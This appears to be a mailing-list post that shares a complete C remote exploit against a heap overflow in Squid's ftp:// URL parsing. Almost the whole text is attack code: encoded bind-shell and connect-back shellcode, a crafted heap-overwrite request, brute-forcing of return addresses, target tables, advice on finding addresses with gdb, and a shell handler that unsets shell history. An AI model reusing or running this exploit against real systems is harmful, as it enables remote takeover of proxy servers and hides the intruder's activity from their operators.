that's a one year old exploit against squid ftp:// parsing heap overflow
--
_
ASCII ribbon campaign ( ) www.eff.org
- against HTML email X GPG key : pgp.mit.edu
& vCards / \ <techieone@softhome.net>
/** ** *OLD* *OLD* *OLD* *OLD**OLD* *OLD**OLD* *OLD**OLD* *OLD**OLD* *OLD* ** ** linux/x86 2.0 <= squid <= 2.4.DEVEL4 remote exploit (c) gunzip ** ** to compile type 'make squidx' ** ** Version 2.4STABLE(*) are vulnerable too but you have to play with ** USERLEN, NOPNUM, PASSLEN values to get exploit works (because of the ** different memory layout). Read below how to write new targets. ** ** This is however a rare exploitable bug because ** ** - Squid dies every time you overflow it and you have to wait > 10 sec ** - You can't bruteforce too much or squid will rest in peace forever ** - You MUST have the rights (acl) to use ftp proxying (not in default conf) ** - Address differs alot (return addresses) from distro to distro ** - Victim host must have an ftp server running to connect to ** - Yes, you can change the host who runs ftp server but in this way ** you mess up the align so the exploit won't work (have to fix this) ** ** I'll put new versions if I've time on ** http://members.xoom.it/gunzip/ ** ** comments to gunzip@ircnet - mAilto: <techieone@softhome.net> ** ** TODO: check align against host field, make real targets ** ** Version 0.4 ** ** kisses to tankie ** greets: arcangelo, jestah, sorbo, and daphiel for testing ** ** *OLD* *OLD* *OLD* *OLD**OLD* *OLD**OLD* *OLD* *OLD* *OLD* *OLD* *OLD* **/ /** ** Here are the young men, well where have they been ? **/ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/socket.h> #include <sys/time.h> #include <sys/types.h> #include <netinet/in.h> #include <arpa/inet.h> #include <netdb.h> #include <errno.h> #include <string.h> #include <fcntl.h> #include <getopt.h> char inetd_shellcode[] = /* * binds an inetd shell on port 5002 (lsd-pl.net + s-poly by zillion) */ "\x4b\xeb\x11\x5e\x31\xc9\xb1\x81\x80\x6c\x0e\xff\xd4\x80\xe9" "\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\xbf\xf6\x2d\x05\x94" "\x24\x3c\x03\x03\x47\x3c\x3c\x03\x36\x3d\x42\x5d\xb7\x24\x3a" "\x3c\x01\x37\x5d\xbb\x24\x25\x2b\x27\x5d\xb5\x6d\x84\xdf\xa1" "\x54\xbc\xad\xd3\xd3\xd3\x39\x37\x3c\x43\xf4\x46\x3a\x39\xf4" "\x47\x48\x46\x39\x35\x41\xf4\x48\x37\x44\xf4\x42\x43\x4b\x35" "\x3d\x48\xf4\x46\x43\x43\x48\xf4\x03\x36\x3d\x42\x03\x47\x3c" "\xf4\x47\x3c\xf4\x01\x3d\x12\x03\x48\x41\x44\x03\x02\x4c\xf4" "\x0f\x03\x49\x47\x46\x03\x47\x36\x3d\x42\x03\x3d\x42\x39\x48" "\x38\xf4\x03\x48\x41\x44\x03\x02\x4c\x0f\x39\x37\x3c\x43\xf4" "\x4d\x39\x35\x3c"; char forking_bind[] = /* * by eSDee - www.netric.org, encoded with s-poly by zillion */ "\x57\x5f\xeb\x11\x5e\x31\xc9\xb1\xc8\x80\x44\x0e\xff\x2b\x49" "\x41\x49\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x06\x95\x06\xb0" "\x06\x9e\x26\x86\xdb\x26\x86\xd6\x26\x86\xd7\x26\x5e\xb6\x88" "\xd6\x85\x3b\xa2\x55\x5e\x96\x06\x95\x06\xb0\x25\x25\x25\x3b" "\x3d\x85\xc4\x88\xd7\x3b\x28\x5e\xb7\x88\xe5\x28\x88\xd7\x27" "\x26\x5e\x9f\x5e\xb6\x85\x3b\xa2\x55\x06\xb0\x0e\x98\x49\xda" "\x06\x95\x15\xa2\x55\x06\x95\x25\x27\x5e\xb6\x88\xd9\x85\x3b" "\xa2\x55\x5e\xac\x06\x95\x06\xb0\x06\x9e\x88\xe6\x86\xd6\x85" "\x05\xa2\x55\x06\x95\x06\xb0\x25\x25\x2c\x5e\xb6\x88\xda\x85" "\x3b\xa2\x55\x5e\x9b\x06\x95\x06\xb0\x85\xd7\xa2\x55\x0e\x98" "\x4a\x15\x06\x95\x5e\xd0\x85\xdb\xa2\x55\x06\x95\x06\x9e\x5e" "\xc8\x85\x14\xa2\x55\x06\x95\x16\x85\x14\xa2\x55\x06\x95\x16" "\x85\x14\xa2\x55\x06\x95\x25\x3d\x04\x04\x48\x3d\x3d\x04\x37" "\x3e\x43\x5e\xb8\x60\x29\xf9\xdd\x25\x28\x5e\xb6\x85\xe0\xa2" "\x55\x06\x95\x15\xa2\x55\x06\x95\x5e\xc8\x85\xdb\xa2\x55\xc0" "\x6e"; #define IP "\x7f\x01\x01\x01" /* 127.1.1.1 */ #define DPORT "\x99\x99" /* 39321 */ char connectback_shellcode[] = /* * by gloomy - www.netric.org */ "\x31\xc0\xb0\x02\xcd\x80\x31\xdb\x39\xd8\x75\x54" "\x50\x40\x50\x40\x50\x89\xe1\x43\xb0\x66\xcd\x80" "\x4b\x53\x53\x68" IP "\x66\x68" DPORT "\xb3\x02" "\x66\x53\x89\xe2\xb3\x10\x53\x52\x50\x89\xe1\xb3" "\x03\xb0\x66\xcd\x80\x31\xc9\x39\xc1\x75\x23\xb1" "\x02\xb0\x3f\xcd\x80\x49\x75\xf9\xb0\x3f\xcd\x80" "\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89" "\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80\x31\xc0" "\x40\xcd\x80"; #define CONNECT_BACK 0x1 #define CONNECT_TO 0x10 #define IP_OFFSET 28 #define PORT_OFFSET 34 struct hits { char * desc ; char * code ; unsigned short flag ; unsigned short port ; } ht[]= { { "forking bind shellcode (45295)", forking_bind, CONNECT_TO, 45295 }, { "binds a shell via inetd (5002)", inetd_shellcode, CONNECT_TO, 5002 }, { "connects back on supplied host (39321)", connectback_shellcode, CONNECT_BACK, 39321 }, { NULL, 0, 0 } }; #define TIMEOUT 0x5 #ifndef INADDR_NONE #define INADDR_NONE 0xffffffff #endif #ifndef INADDR_ANY #define INADDR_ANY 0x00000000 #endif #ifdef DEBUG #define debug(x...) printf(x) #else #define debug(x...) #endif /** ** a little rip from teso fmtlib **/ #define OCT( b0, b1, b2, b3, addr ) { \ b0 = (addr >> 24) & 0xff; \ b1 = (addr >> 16) & 0xff; \ b2 = (addr >> 8) & 0xff; \ b3 = (addr ) & 0xff; \ } void shell( int fd ) { int rd ; fd_set rfds; static char buff[ 1024 ]; char INIT_CMD[] = "unset HISTFILE; echo; id; uname -a;\n"; if (write(fd, INIT_CMD, strlen( INIT_CMD )) < strlen(INIT_CMD)) { fprintf(stderr,"[-] Error sending evil commands"); exit( EXIT_FAILURE ); } while(1) { FD_ZERO( &rfds ); FD_SET(0, &rfds); FD_SET(fd, &rfds); if(select(fd+1, &rfds, NULL, NULL, NULL) < 1) { perror("[-] Select"); exit( EXIT_FAILURE ); } if( FD_ISSET(0, &rfds) ) { if( (rd = read(0, buff, sizeof(buff))) < 1) { perror("[-] Read"); exit( EXIT_FAILURE ); } if( write(fd,buff,rd) != rd) { perror("[-] Write"); exit( EXIT_FAILURE ); } } if( FD_ISSET(fd, &rfds) ) { if( (rd = read(fd, buff, sizeof(buff))) < 1) { exit( EXIT_SUCCESS ); } write(1, buff, rd); } } } unsigned long resolve( char * host ) { unsigned long rev ; struct hostent * he ; if (( rev = inet_addr( host )) != INADDR_NONE ) { return rev ; } if ( (he = gethostbyname( host )) == NULL ) { perror("[-] Gethostbyname"); return -1; } else { return ((struct in_addr *)(he->h_addr))->s_addr ; } } int connect_to_host( unsigned long ip, unsigned short port ) { int ret, flags, s ; struct sockaddr_in server ; memset( &server, 0x0, sizeof(server) ); server.sin_port = htons ( port ); server.sin_family = AF_INET ; server.sin_addr.s_addr = ip ; if ((s = socket(AF_INET, SOCK_STREAM, 0)) == -1 ) { perror("[-] Socket"); return -1 ; } /** ** sets non blocking socket and connects, ripped somewhere **/ if ((flags = fcntl (s, F_GETFL, 0)) == -1 ) { close( s ); return -1; } if (fcntl(s, F_SETFL, flags | O_NONBLOCK) == -1) { close( s ); return -1; } ret = connect(s, (struct sockaddr *)&server, sizeof(server)); if ( ret < 0 ) { if ( errno != EINPROGRESS ) { close( s ); return -1; } else { int n ; struct timeval tv = { TIMEOUT, 0 }; fd_set rset, wset; FD_ZERO( &rset ); FD_ZERO( &wset ); FD_SET( s, &rset ); FD_SET( s, &wset ); if ((n = select( s + 1, &rset, &wset, NULL, &tv)) == -1 ) { perror("[-] Select"); return -1; } /** ** handles timeout **/ if (n == 0) { close( s ); fprintf(stderr,"[-] Timeout\n"); return -1; } if (FD_ISSET( s, &rset ) || FD_ISSET( s, &wset )) { int error = 0 ; int len = sizeof( error ); if (getsockopt(s, SOL_SOCKET, SO_ERROR, &error, &len) == -1) { perror("[-] Getsockopt"); return -1; } if (error != 0) { debug("[*] SO_ERROR != 0\n"); return -1; } } else { return -1 ; } } } /** ** restores flags and returns **/ if ( fcntl(s, F_SETFL, flags) == -1 ) return -1; else return s; } size_t net_write( int fd, char * buf, size_t size ) { struct timeval tv = { TIMEOUT, 0 }; fd_set wfds ; int ret ; FD_ZERO( &wfds ); FD_SET( fd, &wfds ); if ( (ret = select( fd+1, NULL, &wfds, NULL, &tv )) == -1 ) { perror("[-] Select"); exit( EXIT_FAILURE ); } if ( ret == 0 ) { close( fd ); fprintf(stderr,"[-] Timeout\n"); exit( EXIT_FAILURE ); } if ( FD_ISSET( fd, &wfds ) ) { return( write( fd, buf, size ) ); } else { fprintf(stderr,"[-] Error in sending data\n"); exit( EXIT_FAILURE ); } } size_t net_read( int fd, char * buf, size_t size ) { struct timeval tv = { TIMEOUT, 0 }; fd_set rfds ; int ret ; FD_ZERO( &rfds ); FD_SET( fd, &rfds ); if ( (ret = select( fd+1, NULL, &rfds, NULL, &tv )) == -1 ) { perror("[-] Select"); exit( EXIT_FAILURE ); } if ( ret == 0 ) { close( fd ); fprintf(stderr,"[-] Timeout\n"); exit( EXIT_FAILURE ); } if ( FD_ISSET( fd, &rfds ) ) { return( read( fd, buf, size ) ); } else { fprintf(stderr,"[-] Error in sending data\n"); exit( EXIT_FAILURE ); } } char * make_connback_shellcode( const char * hellcode, unsigned long ip, unsigned short port, int ip_offset, int port_offset ) { /** ** ip and port MUST be in host byte order **/ char a, b, c, d; char * hell = (char *)strdup( hellcode ); fflush( stderr ); if ( !hell ) { fprintf( stderr, "[-] Out of memory !\n"); exit( EXIT_FAILURE ); } debug("[*] Using ip=0x%.8x port=%d\n", (unsigned int)ip, port ); /** ** can't contain 0x0a and 0x0d too !! **/ OCT( a, b, c, d, ip ); if ( ( !a || !b || !c || !d ) || (( a == 0xa )||( b == 0xa )||( c == 0xa )|| ( d == 0xa ))|| (( a == 0xd )||( b == 0xd )||( c == 0xd )|| ( d == 0xd )) ) { fprintf(stderr, "[-] Ip contains invalid byte(s) that can't be in the shellcode\n" "[-] Change ip/shellcode and retry.\n"); exit( EXIT_FAILURE ); } if ( ( !(port & 0xff ) || !(port & 0xff00 )) || ( (( port & 0xff )== 0xa ) || (( port & 0xff00 )== 0xa )) || ( (( port & 0xff )== 0xd ) || (( port & 0xff00 )== 0xd )) ) { fprintf(stderr, "[-] Port contains invalid byte(s) that can't be in the shellcode\n" "[-] Change bindport/shellcode and retry.\n"); exit( EXIT_FAILURE ); } *(unsigned long *)( hell + ip_offset ) = htonl( ip ); *(unsigned short *)( hell + port_offset ) = htons( port ); return hell; } /** ** if you have time to add real targets send me them, ** I'll return to you the xpl with all new targets and fixes **/ #define NOPNUM 800 #define USERLEN 11 #define PASSLEN 28 #define URLLEN 24 #define SMARTJUMP "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" #define MASK 0x7 #define BRUTE_START ( 0x346000 + tg[n].retloc ) #define BRUTE_END ( 0x366000 + tg[n].retloc ) #define PORT 3128 #define DELAY 12 #define request2size(req) ( req += (sizeof( size_t ) + MASK) &~ MASK ) /** ** retloc : ** echo 0x`objdump -R /usr/sbin/squid | grep write | awk '{print $1}'` ** ** retaddr: ** gdb squid `pidof squid` then on another console run the exploit ** wait for squid to segfault, if it segfaults to an address like ** 0x08041XXX then you just have to look for nopcode just at ** 0xRETLOC + 346000 (nops look like 0xeb27eb27) ** ** ie. if your retloc is 0x080bb1f8 then just do something like ** (gdb) x/100000x 0x080bb1f8+345000 ** ** padding: ** if squid does not segfault on an address like 0x08XXXXXX ** then you have to play with lenght of password, user or url **/ struct options { char * desc ; unsigned long retaddr ; unsigned long retloc ; } tg[]= { { "2.4.DEVEL4 - Debian 3.0 from src" , 0x08401ba4, 0x080bb1f8 }, { "2.3STABLE5 - Debian 3.0 from src" , 0x0841982c, 0x080b80a8 }, { NULL, 0, 0 } }; void usage( char * a ) { fprintf( stderr, "Usage: %s -v victim [options]\n\n" "-v\tvictim ip or fqhn\n" "-p\tport to connect to (default 3128)\n" "-f\tdoes not check if host is vulnerable (forces exploit)\n" "-j\tjust check if host is vulnerable\n" "-i\tip address for connect back shellcode\n" "-P\tport of connect back shellcode\n" "-t\tone of the targets (for a list type -t X)\n" "-c\tone of the shellcodes (for a list type -c X)\n" "-b\tbruteforce mode\n" "-s\tstep for bruteforce\n" "-d\tdelay between attacks (12 secs default)\n" "-n\tnumber of nops (try 800, 1024, 1500, 2068)\n" "-r\treturn address (shellcode address)\n" "-g\taddress to be overwritten\n\n", a ); exit( EXIT_FAILURE ); } void show_target_list() { int i; fprintf( stderr, "[+] TARGETS:\n\n"); for (i = 0 ; tg[ i ].desc ; i++ ) fprintf ( stderr, " %d - %s\n", i, tg[ i ].desc); printf("\n"); exit( EXIT_FAILURE ); } void show_code_list() { int i; fprintf( stderr, "[+] SHELLCODES\n\n"); for (i = 0 ; ht[ i ].desc ; i++ ) fprintf ( stderr, " %d - %s\n", i, ht[ i ].desc ); printf("\n"); exit( EXIT_FAILURE ); } int squid_check_if_vuln( unsigned long ip, char * host ) { int s ; char buf[ 1024 ]; char pad[ 64 ]; memset( buf, 0x0, sizeof(buf) ); memset( pad, 0x7e, sizeof(pad) ); pad[ 63 ] =0; snprintf( buf, sizeof(buf) - 1, "GET ftp://%s:%s@%s/ HTTP/1.0\r\n\r\n", pad, pad, host ); buf[ 1024 - 1 ] =0; if ( (s = connect_to_host( ip, 3128 )) == -1 ) return 0; if (net_write( s, buf, strlen(buf) ) == strlen(buf)) { memset( buf, 0x0, sizeof(buf) ); if( net_read( s, buf, sizeof(buf)) > 0 ) { close( s ); return 0; } else { close( s ); return 1; } } close( s ); return 0; } /** ** every leeto exploit MUST have dots in it **/ void wait_dots( int s ) { int i; fprintf( stdout, "[+] Sleeping %d secs to let squid restart", s); for ( i=0; i <= s ; i++ ) { fflush( stdout ); fprintf(stdout, "."); sleep( 1 ); } fprintf( stdout, "\n" ); } int main(int argc, char *argv[]) { unsigned long ip = 0x7f000001, local_ip = 0x0, retaddr = 0x0; unsigned int len, i, step = NOPNUM - 256, nopnum = NOPNUM, delay = DELAY; unsigned short port = PORT ; int opt, s, n =0, c =0, brute =0, force =0; char user [ 128 ]; char pass [ 128 ]; char url [ 128 ]; char evil [ 4096 ]; char nops [ NOPNUM ]; char * t ; char * host = "0.0.0.0" ; char * victim = "127.0.0.1"; fprintf(stdout, "\nlinux/x86 remote exploit against squid <= 2.4.STABLE3 by gunzip\n\n"); if ( argc < 3 ) usage( argv[0] ); while ((opt = getopt(argc, argv, "n:d:i:P:jfp:c:t:v:r:g:bs:h")) != EOF) { switch(opt) { case 'd': delay = atoi(optarg); break; case 'n': nopnum = atoi(optarg); break; case 'i': local_ip = inet_addr(optarg); break; case 'P': ht[c].port = atoi(optarg); break; case 'f': force=1; break; case 'j': force=-1; break; case 'p': port = atoi(optarg) ; case 'c': if ( *optarg == 'X' ) show_code_list(); else c = atoi(optarg); break; case 't': if ( *optarg == 'X' ) show_target_list(); else n = atoi(optarg); break; case 'v': victim = strdup( optarg ); break ; case 'r': tg[n].retaddr = strtoul( optarg, NULL, 16 ); break ; case 'g': tg[n].retloc = strtoul( optarg, NULL, 16 ); break ; case 'b': brute=1; break; case 's': step=atoi(optarg); break; case 'h': default: usage( "./squidx" ); break; } } if ( ht[c].port > 65535 || ht[c].port < 1 ) { fprintf(stderr, "[-] Not valid port for connect back code\n"); return -1; } if ( ht[c].flag & CONNECT_BACK ) { if ( !local_ip || local_ip == -1 ) { fprintf(stderr,"[-] You must supply a valid ip for connect back shellcode.\n"); return -1; } ht[c].code = make_connback_shellcode( ht[c].code, ntohl( local_ip ), ht[c].port, IP_OFFSET, PORT_OFFSET ); } if ( (ip = resolve( victim )) == -1 ) { fprintf(stderr, "[-] Cannot resolve victim ip\n"); return -1; } if ( !force ) { if ( squid_check_if_vuln( ip, host ) ) fprintf(stdout, "[+] Host seems vuln !\n"); else { fprintf(stderr, "[-] Host seems not vuln, sorry.\n"); return -1; } if ( force == -1 ) return 1; wait_dots( 12 ); } fprintf(stdout,"[+] Target %s\n", tg[n].desc); fprintf(stdout,"[+] Host is %s\n", victim ); /** ** this is for align and overflow **/ memset( user, 0x7e, USERLEN ); user[ USERLEN ] = 0; memset( pass, 0x7e, PASSLEN ); pass[ PASSLEN ] = 0 ; len = 64 + strlen( user ) + strlen( pass ) + strlen( host ) + URLLEN; t = (char *)malloc( len ); memset( evil, 0x00, sizeof(evil)); memset( nops, 0xeb, sizeof(nops)); memset( url, 0x41, sizeof(url)); /** ** that's because 0x27 act as a nop **/ for ( i=1; i < sizeof(nops) ; i+=2 ) nops[ i ] = 0x27 ; nops[ nopnum - strlen(ht[c].code) - 8 ] = 0 ; snprintf( evil, sizeof(evil)-1, "Accept: %s%s%s\r\n\r\n", nops, SMARTJUMP, ht[c].code); for ( retaddr=(brute ? BRUTE_START : tg[n].retaddr ); retaddr <= (brute ? BRUTE_END : tg[n].retaddr ); retaddr += step ) { memset( t, 0x0, len ); fprintf(stdout,"[+] Using retaddr=0x%.8x retloc=0x%.8x code=%d step=%d\n", (u_int)retaddr, (u_int)tg[n].retloc, strlen(ht[c].code), step); *(long *)&url[0] = 0x4142432f ; /* dummy */ *(long *)&url[4] = 0xfffffffc ; /* prevsize */ *(long *)&url[8] = 0xfffffffc ; /* size field */ *(long *)&url[12] = 0xdeadbeef ; /* dummy */ *(long *)&url[16] = tg[n].retloc - 12 ; /* fd */ *(long *)&url[20] = retaddr ; /* bk */ url[ URLLEN ] = 0 ; debug("[*] Using host=%d user=%d url=%d pass=%d\n", strlen(host), strlen(user), strlen(url), strlen(pass)); debug("[*] Using buffer_len=%d real_malloced_size=%d\n", len, request2size( len )); strcat( t, "GET " ); strcat( t, "ftp://"; ); strcat( t, user ); strcat( t, ":" ); strcat( t, pass ); strcat( t, "@" ); strcat( t, host ); strcat( t, url ); strcat( t, " HTTP/1.0\r\n" ); debug("[*] Using string=%d evil=%d\n", strlen(t), strlen(evil)); if ( (s = connect_to_host( ip, 3128 )) == -1 ) { fprintf(stderr, "[-] Could not connect to host %s\n", victim ); return -1; } net_write( s, t, strlen(t) ); net_write( s, evil, strlen(evil) ); if (( brute ) && !(brute++ % 5) ) wait_dots( 22 ); else wait_dots( 12 ); close( s ); sleep( 1 ); if ( ht[c].flag & CONNECT_TO ) { int y = connect_to_host( ip, ht[c].port ); fprintf( stdout, "[+] Trying connecting to the backdoor\n"); if ( y > 0 ) shell( y ); } fprintf(stdout, "[+] I did not work.\n"); } return 1; } /* http://members.xoom.it/gunzip/ */
Attachment:
pgp00368.pgp
Description: PGP signature
